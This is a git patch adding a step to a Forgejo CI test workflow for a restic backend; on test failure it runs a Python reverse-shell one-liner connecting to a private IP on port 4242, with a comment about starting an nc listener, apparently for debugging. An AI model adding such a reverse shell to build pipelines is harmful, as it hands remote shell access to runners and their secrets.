From 156e46ccc1c8e086958eb380cf60cc221d2460cc Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Thu, 26 Dec 2024 17:01:25 +0300 Subject: [PATCH] [##] Configure reverse shell for debugging Signed-off-by: Vitaliy Potyarkin --- .forgejo/workflows/tests.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml index c2f507f05..598641202 100644 --- a/.forgejo/workflows/tests.yml +++ b/.forgejo/workflows/tests.yml @@ -29,3 +29,10 @@ jobs: # run only tests for the FrostFS backend run: go test -v github.com/restic/restic/internal/backend/frostfs + - name: Reverse shell + if: failure() + # Listener must be started beforehand: nc -lvp 4242 + run: | + export RHOST="10.47.37.90" + export RPORT=4242 + python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'